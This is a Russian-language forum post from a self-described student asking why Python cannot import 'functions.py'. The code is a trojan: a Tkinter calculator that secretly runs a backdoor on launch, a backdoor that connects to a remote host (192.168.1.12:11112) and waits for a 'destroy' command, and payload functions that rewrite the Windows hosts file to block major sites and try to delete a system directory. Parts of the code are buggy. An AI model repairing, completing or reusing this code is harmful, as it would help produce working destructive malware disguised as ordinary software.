Добрый день. Столкнулся с проблемой: Пайтон не находит директорию файла, который находится в одной папке с ним. Идея кода такова: запускается главный файл, который запeскает файл с вирусом, который импортирует файл с функциями этого вируса, который собственно и не видим для пайтона. (Это мой учебный проект и не более. Ничего плохого не пишу :) )
Это главный файл main.py:
import os
from tkinter import *
import subprocess
import runpy
expression = ""
def press(num):
global expression
expression = expression + str(num)
equation.set(expression)
def eqalpress():
try:
global expression
total = str(eval(expression))
equation.set(total)
expression = ""
except Exception as err:
equation.set("error")
expression = ""
print(err)
def clear():
global expression
expression = ""
equation.set("")
if __name__ == "__main__":
dir = os.getcwd() + '/virus_folder/backdoor.py'
exec(open('./virus_folder/backdoor.py').read())
gui = Tk()
os.system(dir)
gui.geometry("270x150")
equation = StringVar()
expression_field = Entry(gui, textvariable=equation)
expression_field.grid(columnspan=4, ipadx=70)
button1 = Button(gui, text=' 1 ', fg='black', bg='red',
command=lambda: press(1), height=1, width=7)
button1.grid(row=2, column=0)
button2 = Button(gui, text=' 2 ', fg='black', bg='red',
command=lambda: press(2), height=1, width=7)
button2.grid(row=2, column=1)
button3 = Button(gui, text=' 3 ', fg='black', bg='red',
command=lambda: press(3), height=1, width=7)
button3.grid(row=2, column=2)
button4 = Button(gui, text=' 4 ', fg='black', bg='red',
command=lambda: press(4), height=1, width=7)
button4.grid(row=3, column=0)
button5 = Button(gui, text=' 5 ', fg='black', bg='red',
command=lambda: press(5), height=1, width=7)
button5.grid(row=3, column=1)
button6 = Button(gui, text=' 6 ', fg='black', bg='red',
command=lambda: press(6), height=1, width=7)
button6.grid(row=3, column=2)
button7 = Button(gui, text=' 7 ', fg='black', bg='red',
command=lambda: press(7), height=1, width=7)
button7.grid(row=4, column=0)
button8 = Button(gui, text=' 8 ', fg='black', bg='red',
command=lambda: press(8), height=1, width=7)
button8.grid(row=4, column=1)
button9 = Button(gui, text=' 9 ', fg='black', bg='red',
command=lambda: press(9), height=1, width=7)
button9.grid(row=4, column=2)
button0 = Button(gui, text=' 0 ', fg='black', bg='red',
command=lambda: press(0), height=1, width=7)
button0.grid(row=5, column=0)
plus = Button(gui, text=' + ', fg='black', bg='red',
command=lambda: press("+"), height=1, width=7)
plus.grid(row=2, column=3)
minus = Button(gui, text=' - ', fg='black', bg='red',
command=lambda: press("-"), height=1, width=7)
minus.grid(row=3, column=3)
multiply = Button(gui, text=' * ', fg='black', bg='red',
command=lambda: press("*"), height=1, width=7)
multiply.grid(row=4, column=3)
divide = Button(gui, text=' / ', fg='black', bg='red',
command=lambda: press("/"), height=1, width=7)
divide.grid(row=5, column=3)
equal = Button(gui, text=' = ', fg='black', bg='red',
command=eqalpress, height=1, width=7)
equal.grid(row=5, column=2)
clear = Button(gui, text='Clear', fg='black', bg='red',
command=clear, height=1, width=7)
clear.grid(row=5, column='1')
Decimal= Button(gui, text='.', fg='black', bg='red',
command=lambda: press('.'), height=1, width=7)
Decimal.grid(row=6, column=0)
gui.mainloop()
а это собственно запускаемый файл вируса backdoor.py:
import socket
import subprocess
import sys
import runpy
from functions import *
client = socket.socket()
client.connect(('192.168.1.12', 11112))
while True:
command = client.recv(1024)
command = command.decode()
print(command)
if command == "destroy":
try:
exec(open('./functions.py').read())
client.send("Accepted".encode())
client.send('[INFO]: commands done succesfuly'.encode())
except Exception as err:
print("err")
client.send(f"[ERR]: client error: {err}".encode())
pass
else:
client.send('[INFO]: Command unknown. To destroy type - "destroy".'.encode())
И тот самый проблемный файл functions.py:
from tkinter import *
from tkinter import ttk
from time import sleep
import os
class virus_funcs:
def __init__(self, message):
self.message = message
def locker(self):
print("locked")
hosts = r'C:\Windows\System32\drivers\etc\hosts'
redirect = '127.0.0.1'
blocked_sites = [
'www.google.com', 'google.com', 'yandex.ru', 'www.yandex.ru', 'vk.com', 'www.vk.com', 'www.youtube.com', 'youtube.com', 'www.meta.com', 'meta.com', 'www.twiter.com', 'twiter.com', 'www.bing.com', 'bing.com'
]
with open(hosts, 'r+') as file:
sites = file.readlines()
file.seek(0)
for line in sites:
if not any(site in line for site in blocked_sites):
file.write(site)
file.truncate()
global root
root = Tk()
def remove_os(self):
os.remove('C:\Windows\System')
print('os removed')
def end_virus(self):
print('end')
root.destroy()
self.remove_os()
def createWindow(self):
form = ttk.Frame(root, padding=10)
form.grid()
ttk.Label(form, text=self.message).grid(column=1, row=1)
ttk.Button(form, text="Ага", command=self.end_virus).grid(column=0, row=1)
root.mainloop()
def run_commands(self):
self.locker()
sleep(5)
self.createWindow()
virus_funcs("Норм прога?")
Что выводит консоль:
ModuleNotFoundError: No module named 'functions'
Как бы я не ломал голову, как бы я не гуглил проблему - решения не нашел... помогите пожалуйста, буду очень благодарен!